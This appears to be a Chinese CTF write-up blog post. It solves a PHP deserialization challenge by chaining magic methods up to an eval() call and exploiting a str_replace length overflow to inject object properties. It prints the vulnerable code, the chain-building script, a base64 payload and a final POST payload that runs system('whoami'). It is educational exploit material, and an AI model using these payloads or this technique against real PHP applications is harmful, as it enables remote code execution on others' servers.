当前位置: 首页 > news >正文

记一次简单的PHP反序列化字符串溢出

今天朋友给的一道题,让我看看,来源不知,随手记一下

<?php
// where is flag
error_reporting(0);
class NFCTF{                                     
    public $ming,$id,$payload,$nothing;
    function __construct($iii){
        $this->ming=$iii;
    }
    function __wakeup(){                        
    if($this->id==="NFCTF"){   
            $tmp = base64_decode($this->payload);        
            $this->nothing=unserialize($tmp);
        }
        else{
            die("you nonono!!!");
        }
    }
}
class xiaohuolong{
    public $x;                        

    function heeko(){
        echo "heeko";
    }

    function __toString(){
        $this->x->nice();              
    }
}
class kabishou{
    public $m;
    public $y;
    public $h;
    function __wakeup(){        
        $this->setm();
    }

    function setm(){
        $this->_m = ""; 
    }

    function __destruct(){          
        $this->y=$this->h;          
        die($this->m);              
    }
}
class jienigui{
    public $pay;                    
    function nice(){
        eval($this->pay);           
    }
}
$cmd=$_POST["cmd"];
if(isset($cmd))
{
    $newdata=serialize(new NFCTF($cmd));                             
    $redata=str_replace("add","addd",$newdata);            
    unserialize($redata);                                     
}else{
    highlight_file(__FILE__);
}

首先是触发到eval($this->pay);的链子,很简单

jienigui::nice() <- xiaohuolong::__toString() <- kabishou::__destruct() 
<?php 
class xiaohuolong{
    public $x;                        

    function heeko(){
        echo "heeko";
    }

    function __toString(){
        $this->x->nice();              
    }
}
class kabishou{
    public $m;
    public $y;
    public $h;
    function __wakeup(){        
        $this->setm();
    }

    function setm(){
        $this->_m = ""; 
    }

    function __destruct(){          
        $this->y=$this->h;          
        die($this->m);              
    }
}
class jienigui{
    public $pay;                    
    function nice(){
        eval($this->pay);           
    }
}

$jienigui = new jienigui();
$jienigui -> pay = "system('whoami');";
$xiaohuolong = new xiaohuolong();
$xiaohuolong -> x = $jienigui;
$kabishou = new kabishou();
$kabishou -> m = $xiaohuolong;
echo base64_encode(serialize($kabishou))."\n";
PS C:\Users\Administrator\Downloads> php .\test.php
Tzo4OiJrYWJpc2hvdSI6Mzp7czoxOiJtIjtPOjExOiJ4aWFvaHVvbG9uZyI6MTp7czoxOiJ4IjtPOjg6ImppZW5pZ3VpIjoxOntzOjM6InBheSI7czoxNzoic3lzdGVtKCd3aG9hbWknKTsiO319czoxOiJ5IjtOO3M6MToiaCI7Tjt9
mochu7\administrator
PS C:\Users\Administrator\Downloads>

然后就是将Base64编码后的这条链的序列化字符串,赋值给$this->payload,使其在NFCTF::__wakeup()触发反序列化,然后NFCTF这个类,传参可控的是属性是$this->ming,替换规则是每出现一个add就替换为addd,长度变化为+1

把Base64的payload放进去,$this->id设置好,参考序列化的之后的字符串更直观

<?php 
class NFCTF{                                     
    public $ming,$id,$payload,$nothing;
    function __construct($iii){
        $this->ming=$iii;
    }
    function __wakeup(){                        
    if($this->id==="NFCTF"){
            $tmp = base64_decode($this->payload);        
            $this->nothing=unserialize($tmp);
        }
        else{
            die("you nonono!!!");
        }
    }
}
class xiaohuolong{
    public $x;                        

    function heeko(){
        echo "heeko";
    }

    function __toString(){
        $this->x->nice();              
    }
}
class kabishou{
    public $m;
    public $y;
    public $h;
    function __wakeup(){        
        $this->setm();
    }

    function setm(){
        $this->_m = ""; 
    }

    function __destruct(){          
        $this->y=$this->h;          
        die($this->m);              
    }
}
class jienigui{
    public $pay;                    
    function nice(){
        eval($this->pay);           
    }
}
$NFCTF = new NFCTF('mochu7');
$NFCTF -> id = "NFCTF";
$NFCTF -> payload = "Tzo4OiJrYWJpc2hvdSI6Mzp7czoxOiJtIjtPOjExOiJ4aWFvaHVvbG9uZyI6MTp7czoxOiJ4IjtPOjg6ImppZW5pZ3VpIjoxOntzOjM6InBheSI7czoxNzoic3lzdGVtKCd3aG9hbWknKTsiO319czoxOiJ5IjtOO3M6MToiaCI7Tjt9";
echo serialize($NFCTF);
// O:5:"NFCTF":4:{s:4:"ming";s:6:"mochu7";s:2:"id";s:5:"NFCTF";s:7:"payload";s:176:"Tzo4OiJrYWJpc2hvdSI6Mzp7czoxOiJtIjtPOjExOiJ4aWFvaHVvbG9uZyI6MTp7czoxOiJ4IjtPOjg6ImppZW5pZ3VpIjoxOntzOjM6InBheSI7czoxNzoic3lzdGVtKCd3aG9hbWknKTsiO319czoxOiJ5IjtOO3M6MToiaCI7Tjt9";s:7:"nothing";N;}

我们要控制注入进去的对象属性是$this->id$this->payload,也就是后面选中的这长度为239的字符串,包含开头的";,因为需要闭合$this->ming的内容格式才能被正确反序列化的。

在这里插入图片描述

明确了需要注入的payload长度为239,就可以设置替换字符为'add'*239,经过str_replace("add","addd",$newdata);就是'addd'*239,长度变化为+239,正好可以将后面这串 payload 挤出$this->ming的内容范围。如下图所示:

在这里插入图片描述

所示执行system("whoami")的命令的payload最终payload如下

cmd=addaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddadd";s:2:"id";s:5:"NFCTF";s:7:"payload";s:176:"Tzo4OiJrYWJpc2hvdSI6Mzp7czoxOiJtIjtPOjExOiJ4aWFvaHVvbG9uZyI6MTp7czoxOiJ4IjtPOjg6ImppZW5pZ3VpIjoxOntzOjM6InBheSI7czoxNzoic3lzdGVtKCd3aG9hbWknKTsiO319czoxOiJ5IjtOO3M6MToiaCI7Tjt9";s:7:"nothing";N;}

即你需要注入的payload长度为多少,就构造能溢出多少长度的替换字符串。

在这里插入图片描述

相关文章:

  • gitlab高级功能之CI/CD组件 - 实践(二)
  • 二叉树刷题Leetcode
  • vscode中使用luaide-lite插件断点调试cocos2dx-lua
  • python程序内存泄漏的解决方法
  • flutter 自定义TabBar 【top 0 级别】
  • 【Android踩过的坑】13.Android Studio 运行成功,但APP没有安装上的问题
  • 项目中如何配置数据可视化展现
  • mysql多表重复数据只保留一行的思路
  • OpenCV简介及安装
  • java多线程CountDownLatch简单测试
  • lodash常见的方法
  • Centos7安装docker、java、python环境
  • ubuntu/vscode下的c/c++开发之-CMake语法与练习
  • 网狐类源码游戏配置数据库数据(一键配置网狐数据库)
  • Kubernetes v1.28.4 安装笔记
  • Linux常用命令----history命令
  • Find My键盘|苹果Find My技术与键盘结合,智能防丢,全球定位
  • Git常用命令#更改用户名
  • web:ics-05(本地文件包含漏洞、preg_replace函数/e漏洞、php伪协议读取文件)
  • C语言——猜凶手
  • 蚊媒传染病、手足口病……上海疾控发布近期防病提示
  • 中科飞测将投资超10亿元,在上海张江成立第二总部
  • 汕头违建豪宅“英之园”将强拆,当地:将根据公告期内具体情况采取下一步措施
  • 沧州制造展现硬核实力:管道装备支撑大国基建,核电锚栓实现国产
  • 沙县小吃中东首店在沙特首都利雅得开业,首天营业额5万元
  • 寒武纪陈天石:公司的产品力获得了行业客户广泛认可,市场有望迎来新增量需求